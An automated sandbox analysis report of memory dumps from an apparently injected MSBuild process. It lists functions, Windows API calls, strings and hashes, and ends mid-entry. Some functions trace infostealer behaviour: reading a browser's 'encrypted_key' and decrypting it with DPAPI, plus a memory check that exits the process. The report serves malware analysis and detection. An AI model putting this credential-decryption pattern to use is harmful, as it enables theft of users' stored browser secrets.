Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction ID: 42b23dca6cf9d61fcd17bb79f48ce0988bb9dd5848c5c15250a36de7d2584b3c
Opcode Fuzzy Hash: c8ea4ff05fc360dd0eb8abd62819ebf399865877b8aaa9c3079995bd046e4cc4
Instruction Fuzzy Hash: 6941B6BAD402087BDB14EBE0DC46FEE777DAB88304F00455DB61A571C1EA795B888B92

Function 00413560 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 00413588

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

strtok_s.MSVCRT ref: 004136D1

Part of subcall function 0041A820: lstrlenA.KERNEL32(00000000,?,?,00415B54,00420ADB,00420ADA,?,?,00416B16,00000000,?,00D40578,?,0042110C,?,00000000), ref: 0041A82B
Part of subcall function 0041A820: lstrcpy.KERNEL32(B,00000000), ref: 0041A885

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction ID: 1d6e97e2126c91d023f3aa3275f065f217875d3b7f18f669bcfd2096c4fc0c60
Opcode Fuzzy Hash: d487b5a826abd393daba0d5abacc3e0c3b7c6db77f8dfe7a0cb344ed065f5bd8
Instruction Fuzzy Hash: C34191B1D00108EFCB04EFE5D945AEEB7B4BF44308F00801EE41676291DB789A56CFAA

Function 004099C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
LocalFree.KERNEL32(004102E7), ref: 00409A90
CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction ID: ed52a4b53b9c0591db71eabf51b59360b39b3b260bb7ca760b64e801f0f9a50e
Opcode Fuzzy Hash: c7567847eb904f88fd44aac24161c1541a4af156139b53349eb565b119f829a0
Instruction Fuzzy Hash: 02310778A00209EFDB14CF94C985BAEB7B5FF49350F108169E901A7390D778AD41CFA5

Function 00401220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
__aulldiv.LIBCMT ref: 00401258
__aulldiv.LIBCMT ref: 00401266
ExitProcess.KERNEL32 ref: 00401294

Strings

@, xrefs: 00401233

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction ID: f2ded3d157cb35307e0b39d430c96622be3dd75f8d5744ac0086d878f352425a
Opcode Fuzzy Hash: e3d9931386e0fa91028f4e7641da7fda79c4023127bcc5196728e9d9e144d5c4
Instruction Fuzzy Hash: 5901FBB0D84308BAEB10DBE4DC49B9EBB78AB15705F20809EE705B62D0D6785585879D

Function 00409CE0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 004099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004099EC
Part of subcall function 004099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A11
Part of subcall function 004099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00409A31
Part of subcall function 004099C0: ReadFile.KERNEL32(000000FF,?,00000000,004102E7,00000000), ref: 00409A5A
Part of subcall function 004099C0: LocalFree.KERNEL32(004102E7), ref: 00409A90
Part of subcall function 004099C0: CloseHandle.KERNEL32(000000FF), ref: 00409A9A

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00409D39

Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
Part of subcall function 00409AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
Part of subcall function 00409AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
Part of subcall function 00409AC0: LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 00409D92

Part of subcall function 00409B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409B84
Part of subcall function 00409B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BA3
Part of subcall function 00409B60: memcpy.MSVCRT(?,?,?), ref: 00409BC6
Part of subcall function 00409B60: LocalFree.KERNEL32(?), ref: 00409BD3

Strings

DPAPI, xrefs: 00409D89
"encrypted_key":", xrefs: 00409D30
, xrefs: 00409DC1

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction ID: 5ad523267ed72994677b79ea1d9dce7d7822fbf486e040e59600fa97cf483dfd
Opcode Fuzzy Hash: 858bb5d36e7e37b9704747d5b8cf33c67ecf781cccc3ca8f5e8d480075c2e052
Instruction Fuzzy Hash: D53155B5D10109ABCB04EBE4DC85AEF77B8BF44304F14452AE915B7282E7389E04CBA5

Function 6CBDC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6CBDC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CBDC969
GetSystemInfo.KERNEL32(?), ref: 6CBDC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CBDC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CBDC9E2

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 169e5a899758e7ac12d933938eb1feee052fd6e7ec4b4f9ad97884d1b1eaa03c
Instruction ID: d6f61e7e53252c87450da052b7d9fa36c4ea7b7c91eaf544a5cd398d4a863b46
Opcode Fuzzy Hash: 169e5a899758e7ac12d933938eb1feee052fd6e7ec4b4f9ad97884d1b1eaa03c
Instruction Fuzzy Hash: 1D21F635741614AFDB15BE64DC84BAE73B9EB46708FA1811AF907A7B80EB706C048791

Function 00417E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417E37
HeapAlloc.KERNEL32(00000000), ref: 00417E3E
RegOpenKeyExA.KERNEL32(80000002,00D51150,00000000,00020119,?), ref: 00417E5E
RegQueryValueExA.KERNEL32(?,00D556E8,00000000,00000000,000000FF,000000FF), ref: 00417E7F
RegCloseKey.ADVAPI32(?), ref: 00417E92

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction ID: f35b37edc560d93cca1bbeb044924e1a71a0ba88b9c12cde0d27c4035fcf8d53
Opcode Fuzzy Hash: f2207629c624761bbe8885f03498d73c435f9e088398b1cc221a346ec08661e3
Instruction Fuzzy Hash: 01114CB5A84205FFD710CFD4DD4AFBBBBB9EB09B10F10425AF605A7280D77858018BA6

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction ID: a780f69aac564b2d92452564e57f3177c1920ebdf93c56c18a8360c70aaf8c3d
Opcode Fuzzy Hash: fa554e1047db5fd5a59fe71b1bc1fc144662bff3d722b2db7a38c4cdc39b2b47
Instruction Fuzzy Hash: 000131BDA40208BFDB10DFE0DC49FAEB7BDEB48701F008159FA05A7280D6749A018F51

Function 00410740 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00D54D58), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,00D54E88), ref: 00410866
StrCmpCA.SHLWAPI(00000000,00D54E78), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410A40, 00410A54, 00410803, 0041091B, 00410806, 0041091E, 00410A43

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction ID: 94d948ae3f98129d28702617e668470e7ead908e0178ded6cd69974dbc9b1d9a
Opcode Fuzzy Hash: fceb48d516bdcefcfaeeddd004ee5f3434a47fe0b6f82b20b13cf897e26d277c
Instruction Fuzzy Hash: 3991C975A101089FCB28EF65D991BED77B5FF94304F40852EE8099F281DB349B46CB86

Function 00410765 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,00D54D58), ref: 0041079A
StrCmpCA.SHLWAPI(00000000,00D54E88), ref: 00410866
StrCmpCA.SHLWAPI(00000000,00D54E78), ref: 0041099D

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

Strings

`_A, xrefs: 00410803, 0041091B, 00410806, 0041091E

Memory Dump Source

Source File: 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2180117872.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: `_A
API String ID: 3722407311-2339250863
Opcode ID: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction ID: eaeb4c1bfeb24d12610814888c89f1e8d39eb2be5be33b2b9933dc38047eb686
Opcode Fuzzy Hash: 0851397616f20a2453b74b4a7786de3427b85f0f8ea178e1316f793f6c6bd983
Instruction Fuzzy Hash: 6081BA75B101049FCB18EF65C991AEDB7B6FF94304F50852EE8099F281DB349B46CB86

Function 0040A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

